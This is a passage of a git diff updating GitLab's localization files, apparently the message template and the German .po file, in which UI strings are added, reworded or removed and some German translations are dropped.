-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/de/gitlab.po b/locale/de/gitlab.po
index c8207d2eb8a..937968b5860 100644
--- a/locale/de/gitlab.po
+++ b/locale/de/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: de\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:38\n"
+"PO-Revision-Date: 2021-07-01 21:22\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} bis %{end}"
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr "\"el\" Parameter wird für createInstance() benötigt"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d Genehmigung"
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d Ebene"
@@ -421,6 +416,24 @@ msgstr "%{authorsName}s Unterhaltung"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{count} Zustimmungen von %{name}"
msgid "%{count} files touched"
msgstr "%{count} Dateien verändert"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,11 +672,11 @@ msgstr "%{level_name} ist in einer %{group_level_name} -Gruppe nicht erlaubt."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} ist nicht zulässig, da das Fork-Quellprojekt eine geringere Sichtbarkeit hat."
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Erfahre mehr%{link_end} über Rollenberechtigungen"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr "%{start} bis %{end}"
msgid "%{state} epics"
msgstr "%{state} Epics"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr "%{total} offenes Ticketgewicht"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Erfahre mehr%{usage_ping_link_end} darüber, welche Informationen mit GitLab Inc. geteilt werden."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kann nicht mergen)"
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "Ein sicheres Token, das die Anfrage eines externen Speichers identifiziert."
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,14 +1762,14 @@ msgstr "Token für eingehende E-Mails"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Es kann nicht für den Zugriff auf andere Daten verwendet werden."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "Behalten Sie dieses Token für sich. Mit diesem Token hat jeder Vollzugriff auf Ihr Repository. Mit %{reset_link_start}reset it%{reset_link_end} können Sie das Token zurücksetzen."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Halte dieses Token geheim. Alle, die dieses Token erfahren, haben Vollzugriff. Sie können das Token unter folgendem Link zurücksetzen %{link_reset_it}."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Bewahren Sie diesen Token geheim auf. Jeder mit Zugriff darauf kann Aktivitäten lesen und RSS-Feeds oder Ihren Kalender-Feed ausgeben, als wären Sie es. Sie können den Token unter folgendem Link zurücksetzen: %{link_reset_it}."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "Persönliches Zugangs-Token"
@@ -1783,17 +1786,17 @@ msgstr "Du kannst auch persönliche Zugriffstokens verwenden, um dich bei Git ü
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Du kannst für jede von dir verwendete Anwendung, die Zugriff auf die GitLab-API benötigt, ein persönliches Zugriffstoken erstellen."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "Dein Feed-Token ist in deinen Feed-URLs enthalten und authentifiziert dich wenn dein RSS-Reader einen persönlichen Feed lädt (oder deine Kalender-Anwendung einen persönlichen Kalender)."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "Dein eingehendes E-Mail-Token wird verwendet, um dich beim Erstellen eines neuen Tickets per E-Mail zu authentifizieren. Es ist in deinen persönlichen projektspezifischen E-Mail-Adressen enthalten."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "Dein Token für statische Objekte wird verwendet, um dich zu authentifizieren, wenn statische Repository-Objekte (z. B. Archive, Blöcke, ...) von einem externen Speicher bereitgestellt werden."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "Zurücksetzen"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Füge einen allgemeinen Kommentar zu %{noteableDisplayName} hinzu."
@@ -1921,6 +1927,9 @@ msgstr "Trage einen allgemeinen Kommentar zu diesem %{noteable_name} bei."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Füge zu deinem Wiki eine Startseite mit Informationen zu deinem GitLab-Project hinzu und GitLab wird sie hier anstatt dieser Meldung anzeigen."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Keine Benutzer(innen) angegeben."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "'Shared Runners' für neue Projekte aktivieren"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Umgebungsvariablen sind standardmäßig geschützt"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,20 +2371,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "Keine Pipeline erforderlich"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Erforderliche Pipeline-Konfiguration"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Pipeline-Konfigurationsdatei auswählen"
-
-msgid "AdminSettings|Select a template"
-msgstr "Wähle eine Vorlage"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2383,8 +2398,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "Lege eine instanzweite automatisch inkludierte %{link_start}Pipeline-Konfiguration%{link_end} fest. Diese Pipeline-Konfiguration wird nach der projekteigenen Konfiguration ausgeführt."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "Gib eine Domain an, die standardmäßig für die Auto-Review-Anwendungen- und Auto-Bereitstsellungs-Phasen jedes Projekts verwendet werden soll."
@@ -2392,11 +2407,8 @@ msgstr "Gib eine Domain an, die standardmäßig für die Auto-Review-Anwendungen
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "Die erforderliche Pipeline-Konfiguration kann aus dem Verzeichnis %{code_start}gitlab-ci%{code_end} im konfigurierten %{link_start}Instanz-Vorlagen-Repository%{link_end} oder aus den von GitLab bereitgestellten Konfigurationen ausgewählt werden."
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "Eine neu erstellte Umgebungsvariable ist standardmäßig geschützt."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Alle Gruppen und Projekte"
@@ -3387,9 +3417,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr "Amazon Web Services"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Beim Umschalten des Benachrichtigungs-Abonnements trat ein Fehler auf"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Beim Aktualisieren der Ticket-Gewichtung ist ein Fehler aufgetreten"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "Beim Aktivieren des Service-Desks ist ein Fehler aufgetreten."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Beim Abrufen der Projekte ist ein Fehler aufgetreten"
@@ -3762,9 +3792,6 @@ msgstr "Beim Aktualisieren des Kommentars ist ein Fehler aufgetreten"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr "Label hinzufügen"
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr "Vorschlag anwenden"
@@ -4133,15 +4157,9 @@ msgstr "Name"
msgid "ApprovalRule|Rule name"
msgstr "Regelname"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Mindestens eine Zustimmung der Code-Eigentümer(innen) ist erforderlich, um Dateien zu ändern, auf die die entsprechenden CODEOWNER-Regeln zutreffen."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr "Auto-DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto-DevOps aktiviert"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto-DevOps, Runners und Jobartefakte"
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr "Dateien durchsuchen"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,11 +5806,11 @@ msgstr "Bereitstellungsstrategie"
msgid "CICD|Jobs"
msgstr "Jobs"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "Die Auto-DevOps-Pipeline wird ausgeführt, wenn keine alternative CI-Konfigurationsdatei gefunden wird."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "Gruppe aktiviert"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "Callback-URL"
@@ -5947,9 +5980,6 @@ msgstr "Der Missbrauchsbericht kann nicht erstellt werden. Der/Die Benutzer(in)
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr "Meilenstein ändern"
msgid "Change path"
msgstr "Pfad ändern"
-msgid "Change permissions"
-msgstr "Berechtigungen ändern"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr "Wähle eine Datei"
msgid "Choose a group"
msgstr "Wähle eine Gruppe"
-msgid "Choose a role permission"
-msgstr "Wähle eine Rollenberechtigung aus"
-
msgid "Choose a template"
msgstr "Vorlage auswählen"
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Wähle die übergeordnetste Gruppe für deine Repository-Importe."
@@ -6901,9 +6934,6 @@ msgstr ""
